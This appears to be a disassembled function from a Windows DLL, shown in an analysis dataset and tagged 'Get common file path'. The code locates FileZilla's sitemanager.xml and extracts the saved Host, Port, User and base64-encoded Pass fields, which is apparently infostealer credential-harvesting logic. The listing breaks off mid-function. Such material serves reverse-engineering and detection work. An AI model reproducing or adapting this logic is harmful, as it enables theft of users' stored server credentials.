Function at 0x1800ab3d0
Capabilities:
Get common file path

Disassembly:
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
xor edi, edi
mov qword [rcx + 0x18], 0xf
mov qword [rcx + 0x10], rdi
lea rax, [rbp + 0x190]
mov r15, rdx
mov byte [rcx], dil
mov r14, rcx
mov qword [rbp + 0x140], rdi
lea edx, [rdi + 0x1a]
mov qword [rbp + 0x148], 0xf
xor r9d, r9d
mov byte [rbp + 0x130], dil
xor r8d, r8d
mov qword [rbp + 0x120], rdi
xor ecx, ecx
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], dil
mov r13d, edi
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], dil
mov qword [rbp + 0x160], rdi
mov qword [rbp + 0x168], 0xf
mov byte [rbp + 0x150], dil
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rax, [rbp + 0x190]
mov qword [rbp + 0xe0], rdi
mov r8, 0xffffffffffffffff
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], dil
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x1800ab4c0
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0xd0]
call fcn.1800c0190
mov r8d, 1
lea rdx, [0x180116bd8]
lea rcx, [rbp + 0xd0]
call fcn.1800bf920
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1800ab556
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ab551
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad087
call fcn.1800cd020
mov r8d, 0x19
mov qword [rbp + 0xe0], rdi
lea rdx, str.FileZilla_sitemanager.xml
mov qword [rbp + 0xe8], 0xf
lea rcx, [rsp + 0x30]
mov byte [rbp + 0xd0], dil
call fcn.1800bf920
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x170], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x180], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800ab5e7
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ab5e2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad08d
call fcn.1800cd020
cmp qword [rbp + 0x188], 0x10
lea rcx, [rbp + 0x170]
mov qword [rsp + 0x400], rbx
lea rdx, [0x180116c50]
cmovae rcx, qword [rbp + 0x170]
mov qword [rsp + 0x3b8], rsi
mov qword [rsp + 0x3b0], r12
call fcn.1800d8f38
test rax, rax
je 0x1800acffd
mov rcx, rax
call fcn.1800d8fc8
mov rcx, qword [rbp + 0x180]
inc rcx
call fcn.1800cd3e4
cmp qword [rbp + 0x188], 0x10
lea rcx, [rbp + 0x170]
mov rdx, rax
mov r8, rax
cmovae rcx, qword [rbp + 0x170]
sub rdx, rcx
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1800ab662
lea rdx, [0x180116c50]
mov rcx, r8
call fcn.1800d8f38
mov rcx, rax
mov r12, rax
call fcn.1800dcbe8
test eax, eax
jne 0x1800acf4c
lea rbx, [0x18012f100]
nop dword [rax]
mov r8, r12
mov edx, 0x800
mov rcx, rbx
call fcn.1800db710
test rax, rax
je 0x1800acf3c
mov qword [rbp + 0xe0], rdi
mov r8, 0xffffffffffffffff
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], 0
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x1800ab6e0
mov rdx, rbx
lea rcx, [rbp + 0xd0]
call fcn.1800c0190
cmp qword [rbp + 0xe8], 0x10
lea rsi, [rbp + 0xd0]
mov rdi, qword [rbp + 0xe0]
cmovae rsi, qword [rbp + 0xd0]
cmp rdi, 0x10
jae 0x1800ab730
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800ab7ab
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ab784
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800ad093
mov rcx, rax
call fcn.1800cd028
mov rcx, rax
test rax, rax
je 0x1800ad099
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ab792
test rcx, rcx
je 0x1800ab790
call fcn.1800cd028
jmp 0x1800ab792
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d06b0
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._Host_
mov qword [rbp - 0x60], 0
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
call fcn.1800c0190
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.18008b390
test eax, eax
jle 0x1800abaa1
cmp qword [rbp + 0xe8], 0x10
lea rsi, [rbp + 0xd0]
mov rdi, qword [rbp + 0xe0]
cmovae rsi, qword [rbp + 0xd0]
cmp rdi, 0x10
jae 0x1800ab827
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x68], 0xf
movups xmmword [rsp + 0x50], xmm0
jmp 0x1800ab8a2
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ab87b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800ad093
mov rcx, rax
call fcn.1800cd028
mov rcx, rax
test rax, rax
je 0x1800ad099
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ab889
test rcx, rcx
je 0x1800ab887
call fcn.1800cd028
jmp 0x1800ab889
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x50], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d06b0
mov qword [rsp + 0x68], rbx
mov r8d, 7
mov qword [rsp + 0x60], rdi
lea rdx, str.__Host_
mov qword [rbp - 0x80], 0
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
call fcn.1800c0190
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.18008b390
test eax, eax
jle 0x1800abaa1
mov rsi, qword [rbp + 0xe8]
lea rcx, [rbp + 0xd0]
mov rdi, qword [rbp + 0xd0]
lea r9, str._Host_
mov rbx, qword [rbp + 0xe0]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800c1010
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1800ad07b
sub rbx, rcx
lea rdx, [rbp + 0xd0]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800c0190
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x1800ab9b7
mov rcx, qword [rbp + 0x130]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ab9b2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad099
call fcn.1800cd020
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0x130]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Host_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0x130], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0x140], xmm1
cmovae rcx, rsi
call fcn.1800c1010
cmp rbx, rax
lea rdx, [rbp + 0x130]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800c0190
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x1800aba89
mov rcx, qword [rbp + 0x130]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800aba84
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad099
call fcn.1800cd020
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm1
cmp qword [rbp + 0xe8], 0x10
lea rsi, [rbp + 0xd0]
mov rdi, qword [rbp + 0xe0]
cmovae rsi, qword [rbp + 0xd0]
cmp rdi, 0x10
jae 0x1800abad8
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800abb53
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800abb2c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800ad093
mov rcx, rax
call fcn.1800cd028
mov rcx, rax
test rax, rax
je 0x1800ad099
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800abb3a
test rcx, rcx
je 0x1800abb38
call fcn.1800cd028
jmp 0x1800abb3a
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d06b0
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._Port_
mov qword [rbp - 0x60], 0
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
call fcn.1800c0190
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.18008b390
test eax, eax
jle 0x1800abe49
cmp qword [rbp + 0xe8], 0x10
lea rsi, [rbp + 0xd0]
mov rdi, qword [rbp + 0xe0]
cmovae rsi, qword [rbp + 0xd0]
cmp rdi, 0x10
jae 0x1800abbcf
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x68], 0xf
movups xmmword [rsp + 0x50], xmm0
jmp 0x1800abc4a
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800abc23
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800ad093
mov rcx, rax
call fcn.1800cd028
mov rcx, rax
test rax, rax
je 0x1800ad099
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800abc31
test rcx, rcx
je 0x1800abc2f
call fcn.1800cd028
jmp 0x1800abc31
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x50], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d06b0
mov qword [rsp + 0x68], rbx
mov r8d, 7
mov qword [rsp + 0x60], rdi
lea rdx, str.__Port_
mov qword [rbp - 0x80], 0
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
call fcn.1800c0190
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.18008b390
test eax, eax
jle 0x1800abe49
mov rsi, qword [rbp + 0xe8]
lea rcx, [rbp + 0xd0]
mov rdi, qword [rbp + 0xd0]
lea r9, str._Port_
mov rbx, qword [rbp + 0xe0]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800c1010
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1800ad07b
sub rbx, rcx
lea rdx, [rbp + 0xd0]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800c0190
mov rdx, qword [rbp + 0x168]
cmp rdx, 0x10
jb 0x1800abd5f
mov rcx, qword [rbp + 0x150]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800abd5a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad099
call fcn.1800cd020
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0x150]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Port_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0x150], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0x160], xmm1
cmovae rcx, rsi
call fcn.1800c1010
cmp rbx, rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800c0190
mov rdx, qword [rbp + 0x168]
cmp rdx, 0x10
jb 0x1800abe31
mov rcx, qword [rbp + 0x150]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800abe2c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad099
call fcn.1800cd020
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm1
cmp qword [rbp + 0xe8], 0x10
lea rsi, [rbp + 0xd0]
mov rdi, qword [rbp + 0xe0]
cmovae rsi, qword [rbp + 0xd0]
cmp rdi, 0x10
jae 0x1800abe80
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800abefb
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800abed4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800ad093
mov rcx, rax
call fcn.1800cd028
mov rcx, rax
test rax, rax
je 0x1800ad099
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800abee2
test rcx, rcx
je 0x1800abee0
call fcn.1800cd028
jmp 0x1800abee2
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d06b0
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._User_
mov qword [rbp - 0x60], 0
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
call fcn.1800c0190
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.18008b390
test eax, eax
jle 0x1800ac1f1
cmp qword [rbp + 0xe8], 0x10
lea rsi, [rbp + 0xd0]
mov rdi, qword [rbp + 0xe0]
cmovae rsi, qword [rbp + 0xd0]
cmp rdi, 0x10
jae 0x1800abf77
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x68], 0xf
movups xmmword [rsp + 0x50], xmm0
jmp 0x1800abff2
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800abfcb
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800ad093
mov rcx, rax
call fcn.1800cd028
mov rcx, rax
test rax, rax
je 0x1800ad099
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800abfd9
test rcx, rcx
je 0x1800abfd7
call fcn.1800cd028
jmp 0x1800abfd9
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x50], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d06b0
mov qword [rsp + 0x68], rbx
mov r8d, 7
mov qword [rsp + 0x60], rdi
lea rdx, str.__User_
mov qword [rbp - 0x80], 0
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
call fcn.1800c0190
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.18008b390
test eax, eax
jle 0x1800ac1f1
mov rsi, qword [rbp + 0xe8]
lea rcx, [rbp + 0xd0]
mov rdi, qword [rbp + 0xd0]
lea r9, str._User_
mov rbx, qword [rbp + 0xe0]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800c1010
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1800ad07b
sub rbx, rcx
lea rdx, [rbp + 0xd0]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800c0190
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x1800ac107
mov rcx, qword [rbp + 0x110]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ac102
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad099
call fcn.1800cd020
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0x110]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__User_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0x110], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0x120], xmm1
cmovae rcx, rsi
call fcn.1800c1010
cmp rbx, rax
lea rdx, [rbp + 0x110]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800c0190
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x1800ac1d9
mov rcx, qword [rbp + 0x110]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ac1d4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad099
call fcn.1800cd020
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm1
cmp qword [rbp + 0xe8], 0x10
lea rsi, [rbp + 0xd0]
mov rdi, qword [rbp + 0xe0]
cmovae rsi, qword [rbp + 0xd0]
cmp rdi, 0x10
jae 0x1800ac228
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800ac2a3
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ac27c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800ad093
mov rcx, rax
call fcn.1800cd028
mov rcx, rax
test rax, rax
je 0x1800ad099
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ac28a
test rcx, rcx
je 0x1800ac288
call fcn.1800cd028
jmp 0x1800ac28a
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d06b0
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rdi
lea rdx, str._Pass_encoding_base64__
xor edi, edi
mov qword [rbp - 0x58], 0xf
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x60], rdi
mov byte [rbp - 0x70], dil
lea r8d, [rdi + 0x18]
call fcn.1800c0190
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.18008b390
test eax, eax
jle 0x1800ac676
cmp qword [rbp + 0xe8], 0x10
lea rsi, [rbp + 0xd0]
mov rdi, qword [rbp + 0xe0]
cmovae rsi, qword [rbp + 0xd0]
cmp rdi, 0x10
jae 0x1800ac31b
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x68], 0xf
movups xmmword [rsp + 0x50], xmm0
jmp 0x1800ac396
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ac36f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800ad093
mov rcx, rax
call fcn.1800cd028
mov rcx, rax
test rax, rax
je 0x1800ad099
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ac37d
test rcx, rcx
je 0x1800ac37b
call fcn.1800cd028
jmp 0x1800ac37d
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x50], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d06b0
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x60], rdi
lea rdx, str.__Pass_
xor edi, edi
mov qword [rbp - 0x78], 0xf
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x80], rdi
mov byte [rsp + 0x70], dil
lea r8d, [rdi + 7]
call fcn.1800c0190
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.18008b390
test eax, eax
jle 0x1800ac676
mov rsi, qword [rbp + 0xe8]
lea rcx, [rbp + 0xd0]
mov rdi, qword [rbp + 0xd0]
lea r9, str._Pass_encoding_base64__
mov rbx, qword [rbp + 0xe0]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 0x18
cmovae rcx, rdi
call fcn.1800c1010
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 0x18]
cmp rbx, rcx
jb 0x1800ad07b
sub rbx, rcx
lea rdx, [rbp + 0xd0]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800c0190
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x1800ac4a7
mov rcx, qword [rbp + 0xf0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ac4a2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad099
call fcn.1800cd020
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0xf0]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Pass_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0xf0], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0x100], xmm1
cmovae rcx, rsi
call fcn.1800c1010
cmp rbx, rax
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800c0190
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x1800ac579
mov rcx, qword [rbp + 0xf0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ac574
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad099
call fcn.1800cd020
movups xmm0, xmmword [rsp + 0x30]
lea rdx, [rbp + 0xf0]
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rsp + 0x30]
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm1
call fcn.180088fd0
mov rbx, rax
lea rax, [rbp + 0xf0]
cmp rax, rbx
je 0x1800ac637
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x1800ac5f6
mov rcx, qword [rbp + 0xf0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ac5f1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad09f
call fcn.1800cd020
mov qword [rbp + 0x108], 0xf
xor edi, edi
mov qword [rbp + 0x100], rdi
mov byte [rbp + 0xf0], dil
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x100], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
jmp 0x1800ac639
xor edi, edi
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800ac676
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ac671
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad09f
call fcn.1800cd020
cmp qword [rbp + 0x140], 0
je 0x1800acf29
cmp qword [rbp + 0x120], 0
je 0x1800acf29
cmp qword [rbp + 0x100], 0
je 0x1800acf29
mov rax, qword [r15 + 0x18]
mov rcx, r15
cmp rax, 0x10
jb 0x1800ac6b0
mov rcx, qword [r15]
cmp qword [r15 + 0x10], 1
jne 0x1800ac6c0
cmp byte [rcx], 0x30
jne 0x1800ac6c0
mov cl, 1
jmp 0x1800ac6c2
xor cl, cl
test cl, cl
je 0x1800acd12
mov r8, qword [r14 + 0x10]
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
lea rdx, [r8 + 1]
cmp rdx, 0xf
jbe 0x1800ac6f9
lea rcx, [rbp - 0x50]
call fcn.1800c6590
mov r8, qword [r14 + 0x10]
mov qword [rbp - 0x40], rdi
cmp qword [r14 + 0x18], 0x10
mov rdx, r14
jb 0x1800ac706
mov rdx, qword [r14]
lea rcx, [rbp - 0x50]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116ca8]
lea rcx, [rbp - 0x50]
call fcn.1800bf920
cmp qword [rbp + 0x148], 0x10
lea rdx, [rbp + 0x130]
mov r8, qword [rbp + 0x140]
lea rcx, [rbp - 0x50]
cmovae rdx, qword [rbp + 0x130]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x1801172d0]
lea rcx, [rsp + 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800bf920
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0x168], 0x10
mov r8, qword [rbp + 0x160]
cmovae rdx, qword [rbp + 0x150]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116ca4]
lea rcx, [rbp - 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116ca8]
lea rcx, [rsp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
